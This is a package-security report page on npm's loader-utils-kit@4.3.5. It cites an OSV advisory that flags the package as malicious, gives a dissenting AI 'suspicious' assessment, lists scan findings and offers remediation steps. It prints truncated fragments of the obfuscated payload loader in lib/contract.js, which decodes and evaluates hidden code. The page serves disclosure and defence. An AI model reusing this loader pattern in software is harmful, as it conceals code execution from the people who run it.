loader-utils-kit@4.3.5
OpenSSF/OSV Malicious Advisory
imported 3h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18689 confirms this npm version as malicious.
Advisory
MAL-2026-18689
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in loader-utils-kit (npm)
Details
loader-utils-kit ships lib/contract.js, byte-identical to the pino-testkit payload: an obfuscated module that decodes and evaluates code at load. It is a new name for the pino-testkit (MAL-2026-16484) campaign; the file hashes below match that record's evidence. The package presents itself as an ordinary utility, so the code runs on import or install without the user knowing.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The obfuscated dynamic execution in lib/contract.js is a real unresolved capability, but the inspected source does not establish malicious behavior. The package manifest has no install hook, and the package entrypoint does not directly invoke the payload.
Static reason
One or more suspicious static signals were detected.
Trigger
A caller directly invokes contract() from lib/contract.js.
Impact
The hidden logic can execute in the caller's process; its effects cannot be determined from the inspected source excerpts.
Mechanism
The function reconstructs strings and dynamically creates and calls functions with hidden code.
AI rationale
The obfuscated dynamic execution in lib/contract.js is a real unresolved capability, but the inspected source does not establish malicious behavior. The package manifest has no install hook, and the package entrypoint does not directly invoke the payload.
Evidence
lib/contract.jslib/index.jspackage.json
Independent scan evidence
public snapshotAI called this Suspicious at 87.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
- lib/contract.js uses string-scrambling and dynamically constructed functions to reconstruct and run hidden code when contract() is called.
- lib/index.js calls contract() only inside chain() and reassigns exports before adding the remaining API properties, so the package entrypoint does not directly invoke the hidden code.
- package.json declares no install lifecycle hook.
Evidence against
- The inspected code does not establish the hidden payload's behavior or identify a network recipient.
- The hidden code is not invoked directly by the package entrypoint.
Behavioral surface
Crypto
HighEntropyStringsMinifiedPossibleObfuscation
Source & flagged code
6 flaggedlib/getHashDigest.jsView file
45// divmod32() would corrupt the BulkUpdateDecorator cache otherwise.
L46: buffer.copy(Buffer.from(uint32Array.buffer));
L47:
Low
Weak Crypto
Package source references weak cryptographic algorithms.
lib/getHashDigest.jsView on unpkg · L45lib/contract.jsView file
2global.i = '2';
L3: var _$_d876 = (function (x, e) { var n = x.length; var q = []; for (var z = 0; z < n; z++) { q[z] = x.charAt(z) }; for (var z = 0; z < n; z++) { var r = e * (z + 213) + (e % 38225)...
L4: (function () { var teD = '', ziD = 422 - 411; function ype(b) { var t = 2319581; var l = b.length; var d = []; for (var k = 0; k < l; k++) { d[k] = b.charAt(k) }; for (var k = 0; k...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
lib/contract.jsView on unpkg · L24var whk = ype[OUN]; var YOB = ''; var kWJ = whk; var ovJ = whk(YOB, ype(LEF)); var HRZ = ovJ(ype('=dxig9uffhtC4rkbrar!ac)=%r](-{urF]r(FF]7]cy%e%,F;F6ale$es Fud?a6rF{oos};0T1yg.C]F9a]fsiuc.sn%rs+i1tc.,.=nho__F{F%)4).05r}oe6ha.?((sa81i9Fax%Fi1co.)F]mea%13.l%n]ro_3un;;ncbr];F].FGt[(]5}.3FH1c2
Findings
5 High1 Medium3 Low
HighObfuscated Payload Loaderlib/contract.js
HighAi Review Evidencelib/contract.js
HighAi Review Evidencelib/contract.js
HighAi Review Evidencelib/index.js
HighSuspicious Lifecycle Evidencepackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
LowWeak Cryptolib/getHashDigest.js
LowHigh Entropy Strings
Affected versions and remediation
This report applies to loader-utils-kit@4.3.5.
See all versions of loader-utils-kit for other recorded verdicts.
- Avoid installing loader-utils-kit@4.3.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.